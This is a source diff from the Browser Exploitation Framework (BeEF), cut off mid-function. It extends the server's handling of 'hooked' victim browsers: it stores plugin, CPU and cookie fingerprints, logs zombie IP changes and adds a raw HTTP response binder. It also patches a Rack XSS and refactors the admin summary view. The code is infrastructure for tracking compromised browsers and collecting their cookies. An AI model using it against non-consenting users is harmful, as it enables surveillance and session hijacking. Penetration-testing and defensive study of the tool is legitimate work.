 	HW_IPAD_UA_STR	      = 'iPad'

core/main/handlers/browserdetails.rb

@@ -168,11 +168,11 @@ module BeEF
           end
 
           # get and store the system platform
-          system_platform = get_param(@data['results'], 'SystemPlatform')
+          system_platform = get_param(@data['results'], 'BrowserPlatform')
           if BeEF::Filters.is_valid_system_platform?(system_platform)
-            BD.set(session_id, 'SystemPlatform', system_platform)
+            BD.set(session_id, 'BrowserPlatform', system_platform)
           else
-            self.err_msg "Invalid system platform returned from the hook browser's initial connection."
+            self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
           end
 
           # get and store the hooked browser type
@@ -239,6 +239,14 @@ module BeEF
             self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
           end
 
+          # get and store the yes|no value for HasFoxit
+          has_foxit = get_param(@data['results'], 'HasFoxit')
+          if BeEF::Filters.is_valid_yes_no?(has_foxit)
+            BD.set(session_id, 'HasFoxit', has_foxit)
+          else
+            self.err_msg "Invalid value for HasFoxit returned from the hook browser's initial connection."
+          end
+
           # get and store the yes|no value for HasWebSocket
           has_web_socket = get_param(@data['results'], 'HasWebSocket')
           if BeEF::Filters.is_valid_yes_no?(has_web_socket)
@@ -255,6 +263,62 @@ module BeEF
             self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
           end
 
+          # get and store the yes|no value for HasSilverlight
+          has_silverlight = get_param(@data['results'], 'HasSilverlight')
+          if BeEF::Filters.is_valid_yes_no?(has_silverlight)
+            BD.set(session_id, 'HasSilverlight', has_silverlight)
+          else
+            self.err_msg "Invalid value for HasSilverlight returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasQuickTime
+          has_quicktime = get_param(@data['results'], 'HasQuickTime')
+          if BeEF::Filters.is_valid_yes_no?(has_quicktime)
+            BD.set(session_id, 'HasQuickTime', has_quicktime)
+          else
+            self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasRealPlayer
+          has_realplayer = get_param(@data['results'], 'HasRealPlayer')
+          if BeEF::Filters.is_valid_yes_no?(has_realplayer)
+            BD.set(session_id, 'HasRealPlayer', has_realplayer)
+          else
+            self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasWMP
+          has_wmp = get_param(@data['results'], 'HasWMP')
+          if BeEF::Filters.is_valid_yes_no?(has_wmp)
+            BD.set(session_id, 'HasWMP', has_wmp)
+          else
+            self.err_msg "Invalid value for HasWMP returned from the hook browser's initial connection."
+          end
+
+          # get and store the yes|no value for HasVLC
+          has_vlc = get_param(@data['results'], 'HasVLC')
+          if BeEF::Filters.is_valid_yes_no?(has_vlc)
+            BD.set(session_id, 'HasVLC', has_vlc)
+          else
+            self.err_msg "Invalid value for HasVLC returned from the hook browser's initial connection."
+          end
+
+          # get and store the value for CPU
+          cpu_type = get_param(@data['results'], 'CPU')
+          if !cpu_type.nil?
+            BD.set(session_id, 'CPU', cpu_type)
+          else
+            self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
+          end
+
+          # get and store the value for TouchEnabled
+          touch_enabled = get_param(@data['results'], 'TouchEnabled')
+          if BeEF::Filters.is_valid_yes_no?(touch_enabled)
+            BD.set(session_id, 'TouchEnabled', touch_enabled)
+          else
+            self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
+          end
+
           # get and store whether the browser has session cookies enabled
           has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
           if BeEF::Filters.is_valid_yes_no?(has_session_cookies)

core/main/handlers/hookedbrowsers.rb

@@ -51,13 +51,25 @@ module Handlers
 
       # @note is a known browser so send instructions 
       else       
+        # @note Check if we haven't seen this browser for a while, log an event if we haven't
+        if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
+          BeEF::Core::Logger.instance.register('Zombie',"#{hooked_browser.ip} appears to have come back online","#{hooked_browser.id}")
+        end
+
         # @note record the last poll from the browser
         hooked_browser.lastseen = Time.new.to_i
         
         # @note Check for a change in zombie IP and log an event
-        if hooked_browser.ip != request.ip
-          BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
-          hooked_browser.ip = request.ip
+        if config.get('beef.http.use_x_forward_for') == true
+          if hooked_browser.ip != request.env["HTTP_X_FORWARDED_FOR"]
+            BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.env["HTTP_X_FORWARDED_FOR"]}","#{hooked_browser.id}")
+            hooked_browser.ip = request.env["HTTP_X_FORWARDED_FOR"]
+          end
+        else
+          if hooked_browser.ip != request.ip
+           BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{request.ip}","#{hooked_browser.id}")
+           hooked_browser.ip = request.ip
+          end
         end
       
         hooked_browser.count!

core/main/handlers/modules/beefjs.rb

@@ -66,6 +66,12 @@ module BeEF
             hook_session_config = BeEF::Core::Server.instance.to_h
 
             # @note if http_host="0.0.0.0" in config ini, use the host requested by client
+            unless hook_session_config['beef_public'].nil?
+              if hook_session_config['beef_host'] != hook_session_config['beef_public']
+                hook_session_config['beef_host'] = hook_session_config['beef_public']
+                hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
+              end
+            end
             if hook_session_config['beef_host'].eql? "0.0.0.0"
               hook_session_config['beef_host'] = req_host
               hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
@@ -74,8 +80,9 @@ module BeEF
             # @note set the XHR-polling timeout
             hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
 
-            # @note set the hook file path
+            # @note set the hook file path and BeEF's cookie name
             hook_session_config['hook_file'] = config.get("beef.http.hook_file")
+            hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
 
             # @note if http_port <> public_port in config ini, use the public_port
             unless hook_session_config['beef_public_port'].nil?

core/main/models/browserdetails.rb

@@ -103,7 +103,9 @@ module Models
     def self.hw_icon(session_id)
 
       ua_string = get(session_id, 'BrowserReportedName')
-
+      hardware  = get(session_id, 'Hardware')
+      return BeEF::Core::Constants::Hardware::HW_VM_IMG if hardware =~ /Virtual Machine/
+      return BeEF::Core::Constants::Hardware::HW_LAPTOP_IMG if hardware =~ /Laptop/
       return BeEF::Core::Constants::Hardware::HW_UNKNOWN_IMG if ua_string.nil?
 
       return BeEF::Core::Constants::Hardware::HW_WINPHONE_IMG if ua_string.include? BeEF::Core::Constants::Hardware::HW_WINPHONE_UA_STR

core/main/network_stack/assethandler.rb

@@ -38,6 +38,24 @@ module Handlers
       url
     end
 
+    # Binds raw HTTP to a mount point
+    # @param [Integer] status HTTP status code to return
+    # @param [String] headers HTTP headers as a JSON string to return
+    # @param [String] body HTTP body to return
+    # @param [String] path URL path to mount the asset to TODO (can be nil for random path)
+    # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
+    def bind_raw(status, header, body, path=nil, count=-1)
+      url = build_url(path,nil)
+      @allocations[url] = {}
+      @http_server.mount(
+        url,
+        BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body)
+      )
+      @http_server.remap
+      print_info "Raw HTTP bound to url [" + url + "]"
+      url
+    end
+
     # Binds a file to a mount point
     # @param [String] file File path to asset
     # @param [String] path URL path to mount the asset to (can be nil for random path)

core/main/network_stack/handlers/raw.rb

@@ -0,0 +1,33 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+  module Core
+    module NetworkStack
+      module Handlers
+
+        class Raw
+
+	        def initialize(status, header={}, body)
+	        	@status  = status
+	                @header  = header
+	                @body    = body
+	        end
+
+	        def call(env)
+	            [@status, @header, @body]
+	        end
+
+	        private
+
+	        @request
+
+	        @response
+
+	    end
+	end
+end
+end
+end

core/main/rest/handlers/hookedbrowsers.rb

@@ -72,15 +72,15 @@ module BeEF
            details = BeEF::Core::Models::BrowserDetails
 
            {
-               'id' => hb.id,
-               'session' => hb.session,
-               'name' => details.get(hb.session, 'BrowserName'),
-               'version' => details.get(hb.session, 'BrowserVersion'),
-               'os' => details.get(hb.session, 'OsName'),
-               'platform' => details.get(hb.session, 'SystemPlatform'),
-               'ip' => hb.ip,
-               'domain' => details.get(hb.session, 'HostName'),
-               'port' => hb.port.to_s,
+               'id'       => hb.id,
+               'session'  => hb.session,
+               'name'     => details.get(hb.session, 'BrowserName'),
+               'version'  => details.get(hb.session, 'BrowserVersion'),
+               'os'       => details.get(hb.session, 'OsName'),
+               'platform' => details.get(hb.session, 'BrowserPlatform'),
+               'ip'       => hb.ip,
+               'domain'   => details.get(hb.session, 'HostName'),
+               'port'     => hb.port.to_s,
                'page_uri' => details.get(hb.session, 'PageURI')
            }
         end
@@ -88,4 +88,4 @@ module BeEF
       end
     end
   end
-end
+end

core/main/server.rb

@@ -34,16 +34,17 @@ module BeEF
 
       def to_h
         {
-            'beef_version' => VERSION,
-            'beef_url' => @url,
+            'beef_version'  => VERSION,
+            'beef_url'      => @url,
             'beef_root_dir' => @root_dir,
-            'beef_host' => @configuration.get('beef.http.host'),
-            'beef_port' => @configuration.get('beef.http.port'),
-            'beef_public' => @configuration.get('beef.http.public'),
+            'beef_host'     => @configuration.get('beef.http.host'),
+            'beef_port'     => @configuration.get('beef.http.port'),
+            'beef_public'   => @configuration.get('beef.http.public'),
             'beef_public_port' => @configuration.get('beef.http.public_port'),
-            'beef_dns' => @configuration.get('beef.http.dns'),
-            'beef_hook' => @configuration.get('beef.http.hook_file'),
-            'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http"
+            'beef_dns'      => @configuration.get('beef.http.dns'),
+            'beef_hook'     => @configuration.get('beef.http.hook_file'),
+            'beef_proto'    => @configuration.get('beef.http.https.enable') == true ? "https" : "http",
+            'client_debug'  => @configuration.get("beef.client.debug")
         }
       end
 

core/ruby.rb

@@ -7,6 +7,9 @@
 # @note Patching Ruby Security
 require 'core/ruby/security'
 
+# @note Patching Rack File class to prevent a potential XSS
+require 'core/ruby/file.rb'
+
 # @note Patching Ruby
 require 'core/ruby/module'
 require 'core/ruby/object'

core/ruby/file.rb

@@ -0,0 +1,44 @@
+require 'time'
+require 'rack/utils'
+require 'rack/mime'
+
+module Rack
+  class File
+    def _call(env)
+      unless ALLOWED_VERBS.include? env["REQUEST_METHOD"]
+        return fail(405, "Method Not Allowed")
+      end
+
+      @path_info = Utils.unescape(env["PATH_INFO"])
+      parts = @path_info.split SEPS
+
+      parts.inject(0) do |depth, part|
+        case part
+          when '', '.'
+            depth
+          when '..'
+            return fail(404, "Not Found") if depth - 1 < 0
+            depth - 1
+          else
+            depth + 1
+        end
+      end
+
+      @path = F.join(@root, *parts)
+
+      available = begin
+        F.file?(@path) && F.readable?(@path)
+      rescue SystemCallError
+        false
+      end
+
+      if available
+        serving(env)
+      else
+        # this is the patched line. No need to reflect the URI path, potential XSS
+        # exploitable if you can bypass the Content-type: text/plain (IE MHTML and tricks like that)
+        fail(404, "File not found")
+      end
+    end
+  end
+end

extensions/admin_ui/controllers/logs/logs.rb

@@ -63,7 +63,8 @@ class Logs < BeEF::Extension::AdminUI::HttpController
         'id' => log.id.to_i,
         'date' => log.date.to_s,
         'event' => log.event.to_s,
-        'type' => log.type.to_s
+        'type' => log.type.to_s,
+        'hooked_browser_id' => log.hooked_browser_id.to_i
       }
     end
     

extensions/admin_ui/controllers/modules/modules.rb

@@ -7,14 +7,14 @@ module BeEF
 module Extension
 module AdminUI
 module Controllers
-  
+
 #
 #
 #
 class Modules < BeEF::Extension::AdminUI::HttpController
-  
+
   BD = BeEF::Core::Models::BrowserDetails
-  
+
   def initialize
     super({
       'paths' => {
@@ -31,7 +31,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
         '/commandmodule/reexecute'          => method(:reexecute_command_module)
       }
     })
-    
+
     @session = BeEF::Extension::AdminUI::Session.instance
   end
 
@@ -45,11 +45,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
          'token' => BeEF::Core::Configuration.instance.get("beef.api_token")
      }.to_json
   end
-  
+
   # Returns a JSON array containing the summary for a selected zombie.
   def select_zombie_summary
 
-    # get the zombie 
+    # get the zombie
     zombie_session = @params['zombie_session'] || nil
     (print_error "Zombie session is nil";return) if zombie_session.nil?
     zombie = BeEF::Core::Models::HookedBrowser.first(:session => zombie_session)
@@ -57,390 +57,93 @@ class Modules < BeEF::Extension::AdminUI::HttpController
 
     # init the summary grid
     summary_grid_hash = {
-      'success' => 'true', 
+      'success' => 'true',
       'results' => []
     }
 
-    # set and add the return values for the page title
-    page_title = BD.get(zombie_session, 'PageTitle') 
-    if not page_title.nil?
-      encoded_page_title = CGI.escapeHTML(page_title)
-      encoded_page_title_hash = { 'Page Title' => encoded_page_title }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_title_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
+    # zombie properties
+    # in the form of: category, UI label, value
+    zombie_properties = [
+
+        # Browser
+        ['Browser', 'Browser Name',       'BrowserName'],
+        ['Browser', 'Browser Version',    'BrowserVersion'],
+        ['Browser', 'Browser UA String',  'BrowserReportedName'],
+        ['Browser', 'Browser Platform',   'BrowserPlatform'],
+        ['Browser', 'Browser Plugins',    'BrowserPlugins'],
+        ['Browser', 'Window Size',        'WindowSize'],
+
+        # Browser Components
+        ['Browser Components', 'Flash',              'HasFlash'],
+        ['Browser Components', 'Java',               'JavaEnabled'],
+        ['Browser Components', 'VBScript',           'VBScriptEnabled'],
+        ['Browser Components', 'PhoneGap',           'HasPhonegap'],
+        ['Browser Components', 'Google Gears',       'HasGoogleGears'],
+        ['Browser Components', 'Silverlight',        'HasSilverlight'],
+        ['Browser Components', 'Web Sockets',        'HasWebSocket'],
+        ['Browser Components', 'QuickTime',          'HasQuickTime'],
+        ['Browser Components', 'RealPlayer',         'HasRealPlayer'],
+        ['Browser Components', 'Windows Media Player','HasWMP'],
+        ['Browser Components', 'VLC',                'HasVLC'],
+        ['Browser Components', 'Foxit Reader',       'HasFoxit'],
+        ['Browser Components', 'ActiveX',            'HasActiveX'],
+        ['Browser Components', 'Session Cookies',    'hasSessionCookies'],
+        ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
+
+        # Hooked Page
+        ['Hooked Page', 'Page Title',    'PageTitle'],
+        ['Hooked Page', 'Page URI',      'PageURI'],
+        ['Hooked Page', 'Page Referrer', 'PageReferrer'],
+        ['Hooked Page', 'Host Name/IP',  'HostName'],
+        ['Hooked Page', 'Cookies',       'Cookies'],
+
+        # Host
+        ['Host', 'Date',             'DateStamp'],
+        ['Host', 'Operating System', 'OsName'],
+        ['Host', 'Hardware',         'Hardware'],
+        ['Host', 'CPU',              'CPU'],
+        ['Host', 'Screen Size',      'ScreenSize'],
+        ['Host', 'Touch Screen',     'TouchEnabled']
+    ]
+
+    # set and add the return values for each browser property
+    # in the form of: category, UI label, value
+    zombie_properties.each do |p|
+
+      case p[2]
+        when "BrowserName"
+          data   = BeEF::Core::Constants::Browsers.friendly_name(BD.get(zombie_session, p[2]))
+
+        when "ScreenSize"
+          screen_size_hash = JSON.parse(BD.get(zombie_session, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = screen_size_hash['width']
+          height = screen_size_hash['height']
+          cdepth = screen_size_hash['colordepth']
+          data   = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
+
+        when "WindowSize"
+          window_size_hash = JSON.parse(BD.get(zombie_session, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = window_size_hash['width']
+          height = window_size_hash['height']
+          data   = "Width: #{width}, Height: #{height}"
+        else
+          data   = BD.get(zombie_session, p[2])
+      end
+
+      # add property to summary hash
+      if not data.nil?
+        summary_grid_hash['results'].push({
+          'category' => p[0],
+          'data'     => { p[1] => CGI.escapeHTML("#{data}") },
+          'from'     => 'Initialization'
+        })
+      end
+
     end
 
-    # set and add the return values for the page uri
-    page_uri = BD.get(zombie_session, 'PageURI')
-    if not page_uri.nil?
-      encoded_page_uri = CGI.escapeHTML(page_uri)
-      encoded_page_uri_hash = { 'Page URI' => encoded_page_uri }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_uri_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the page referrer
-    page_referrer = BD.get(zombie_session, 'PageReferrer')
-    if not page_referrer.nil?
-      encoded_page_referrer = CGI.escapeHTML(page_referrer)
-      encoded_page_referrer_hash = { 'Page Referrer' => encoded_page_referrer }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_referrer_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the host name
-    host_name = BD.get(zombie_session, 'HostName') 
-    if not host_name.nil?
-      encoded_host_name = CGI.escapeHTML(host_name)
-      encoded_host_name_hash = { 'Hostname/IP' => encoded_host_name }
-    
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_host_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the return values for the date stamp
-    date_stamp = BD.get(zombie_session, 'DateStamp')
-    if not date_stamp.nil?
-      encoded_date_stamp = CGI.escapeHTML(date_stamp)
-      encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_date_stamp_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the os name
-    os_name = BD.get(zombie_session, 'OsName')
-    if not os_name.nil?
-      encoded_os_name = CGI.escapeHTML(os_name)
-      encoded_os_name_hash = { 'OS Name' => encoded_os_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_os_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the hardware name
-    hw_name = BD.get(zombie_session, 'Hardware')
-    if not hw_name.nil?
-      encoded_hw_name = CGI.escapeHTML(hw_name)
-      encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_hw_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
- 
-    # set and add the return values for the browser name
-    browser_name = BD.get(zombie_session, 'BrowserName') 
-    if not browser_name.nil?
-      friendly_browser_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
-      browser_name_hash = { 'Browser Name' => friendly_browser_name }
-
-      browser_name_row = {
-        'category' => 'Browser',
-        'data' => browser_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_name_row) # add the row
-    end
-    
-    # set and add the return values for the browser version
-    browser_version = BD.get(zombie_session, 'BrowserVersion') 
-    if not browser_version.nil?
-      encoded_browser_version = CGI.escapeHTML(browser_version)
-      browser_version_hash = { 'Browser Version' => encoded_browser_version }
-
-      browser_version_row = {
-        'category' => 'Browser',
-         'data' => browser_version_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_version_row) # add the row
-    end
-    
-    # set and add the return values for the browser ua string
-    browser_uastring = BD.get(zombie_session, 'BrowserReportedName')
-    if not browser_uastring.nil?
-      browser_uastring_hash = { 'Browser UA String' => browser_uastring }
-
-      browser_uastring_row = {
-        'category' => 'Browser',
-         'data' => browser_uastring_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_uastring_row) # add the row
-    end
-    
-    # set and add the list of cookies
-    cookies = BD.get(zombie_session, 'Cookies')
-    if not cookies.nil? and not cookies.empty?
-      encoded_cookies = CGI.escapeHTML(cookies)
-      encoded_cookies_hash = { 'Cookies' => encoded_cookies }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_cookies_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the list of plugins installed in the browser
-    browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
-    if not browser_plugins.nil? and not browser_plugins.empty?
-      encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
-      encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
-      
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_browser_plugins_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the System Platform
-    system_platform = BD.get(zombie_session, 'SystemPlatform')
-    if not system_platform.nil?
-      encoded_system_platform = CGI.escapeHTML(system_platform)
-      encoded_system_platform_hash = { 'System Platform' => encoded_system_platform }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_system_platform_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie screen size and color depth
-    screen_size = BD.get(zombie_session, 'ScreenSize')
-    if not screen_size.nil?
-      
-      screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = screen_size_hash['width']
-      (print_error "width is wrong type";return) if not width.is_a?(Fixnum)
-      height = screen_size_hash['height']
-      (print_error "height is wrong type";return) if not height.is_a?(Fixnum)
-      colordepth = screen_size_hash['colordepth']
-      (print_error "colordepth is wrong type";return) if not colordepth.is_a?(Fixnum)
-      
-      # construct the string to be displayed in the details tab
-      encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
-      encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
-      
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_screen_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie browser window size
-    window_size = BD.get(zombie_session, 'WindowSize')
-    if not window_size.nil?
-
-      window_size_hash = JSON.parse(window_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = window_size_hash['width']
-      (print_error "width is wrong type";return) if not width.is_a?(Fixnum)
-      height = window_size_hash['height']
-      (print_error "height is wrong type";return) if not height.is_a?(Fixnum)
-
-      # construct the string to be displayed in the details tab
-      encoded_window_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s)
-      encoded_window_size_hash = { 'Window Size' => encoded_window_size }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_window_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for JavaEnabled
-    java_enabled = BD.get(zombie_session, 'JavaEnabled')
-    if not java_enabled.nil?
-      encoded_java_enabled = CGI.escapeHTML(java_enabled)
-      encoded_java_enabled_hash = { 'Java Enabled' => encoded_java_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_java_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for VBScriptEnabled
-    vbscript_enabled = BD.get(zombie_session, 'VBScriptEnabled')
-    if not vbscript_enabled.nil?
-      encoded_vbscript_enabled = CGI.escapeHTML(vbscript_enabled)
-      encoded_vbscript_enabled_hash = { 'VBScript Enabled' => encoded_vbscript_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_vbscript_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasFlash
-    has_flash = BD.get(zombie_session, 'HasFlash')
-    if not has_flash.nil?
-      encoded_has_flash = CGI.escapeHTML(has_flash)
-      encoded_has_flash_hash = { 'Has Flash' => encoded_has_flash }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_flash_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for hasPhonegap
-    has_phonegap = BD.get(zombie_session, 'hasPhonegap')
-    if not has_phonegap.nil?
-      encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
-      encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_phonegap_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasGoogleGears
-    has_googlegears = BD.get(zombie_session, 'HasGoogleGears')
-    if not has_googlegears.nil?
-      encoded_has_googlegears = CGI.escapeHTML(has_googlegears)
-      encoded_has_googlegears_hash = { 'Has GoogleGears' => encoded_has_googlegears }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_googlegears_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasWebSocket
-    has_web_socket = BD.get(zombie_session, 'HasWebSocket')
-    if not has_web_socket.nil?
-      encoded_has_web_socket = CGI.escapeHTML(has_web_socket)
-      encoded_has_web_socket_hash = { 'Has WebSockets' => encoded_has_web_socket }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_web_socket_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasActiveX
-    has_activex = BD.get(zombie_session, 'HasActiveX')
-    if not has_activex.nil?
-      encoded_has_activex = CGI.escapeHTML(has_activex)
-      encoded_has_activex_hash = { 'Has ActiveX' => encoded_has_activex }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_activex_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasSessionCookies
-    has_session_cookies = BD.get(zombie_session, 'hasSessionCookies')
-    if not has_session_cookies.nil?
-      encoded_has_session_cookies = CGI.escapeHTML(has_session_cookies)
-      encoded_has_session_cookies_hash = { 'Session Cookies' => encoded_has_session_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_session_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasPersistentCookies
-    has_persistent_cookies = BD.get(zombie_session, 'hasPersistentCookies')
-    if not has_persistent_cookies.nil?
-      encoded_has_persistent_cookies = CGI.escapeHTML(has_persistent_cookies)
-      encoded_has_persistent_cookies_hash = { 'Persistent Cookies' => encoded_has_persistent_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_persistent_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
- 
-    @body = summary_grid_hash.to_json  
+    @body = summary_grid_hash.to_json
   end
-      
+
   # Returns the list of all command_modules in a JSON format
   def select_all_command_modules
     @body = command_modules2json(BeEF::Modules.get_enabled.keys)
@@ -562,10 +265,10 @@ class Modules < BeEF::Extension::AdminUI::HttpController
   #Recursive function to sort all the parent's children
   def sort_recursive_tree(parent)
     # sort the children nodes by status and name
-    parent.each {|x| 
+    parent.each {|x|
       #print_info "Sorting: " + x['children'].to_s
       if x.is_a?(Hash) and x.has_key?('children')
-        x['children'] = x['children'].sort_by {|a| 
+        x['children'] = x['children'].sort_by {|a|
           fldr = a['cls'] ? a['cls'] : 'zzzzz'
           "#{fldr}#{a['status']}#{a['text']}"
         }
@@ -649,20 +352,20 @@ class Modules < BeEF::Extension::AdminUI::HttpController
          update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name,dyn_mod.id)
        }
     end
-      
-    # sort the parent array nodes 
+
+    # sort the parent array nodes
     tree.sort! {|a,b| a['text'] <=> b['text']}
-    
+
     sort_recursive_tree(tree)
 
     retitle_recursive_tree(tree)
-    
 
-      
+
+
     # return a JSON array of hashes
     @body = tree.to_json
   end
-  
+
   # Returns the inputs definition of an command_module.
   def select_command_module
     command_module_id = @params['command_module_id'] || nil
@@ -677,7 +380,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
        @body = command_modules2json([key])
     end
   end
-  
+
   # Returns the list of commands for an command_module
   def select_command_module_commands
     commands = []
@@ -692,32 +395,32 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
+
     # get the browser id
     zombie = Z.first(:session => zombie_session)
     (print_error "Zombie is nil";return) if zombie.nil?
     zombie_id = zombie.id
     (print_error "Zombie id is nil";return) if zombie_id.nil?
-      
+
     C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|
       commands.push({
-        'id' => i, 
-        'object_id' => command.id, 
-        'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s, 
+        'id' => i,
+        'object_id' => command.id,
+        'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
         'label' => command.label
         })
       i+=1
     end
-      
+
     @body = {
-      'success' => 'true', 
+      'success' => 'true',
       'commands' => commands}.to_json
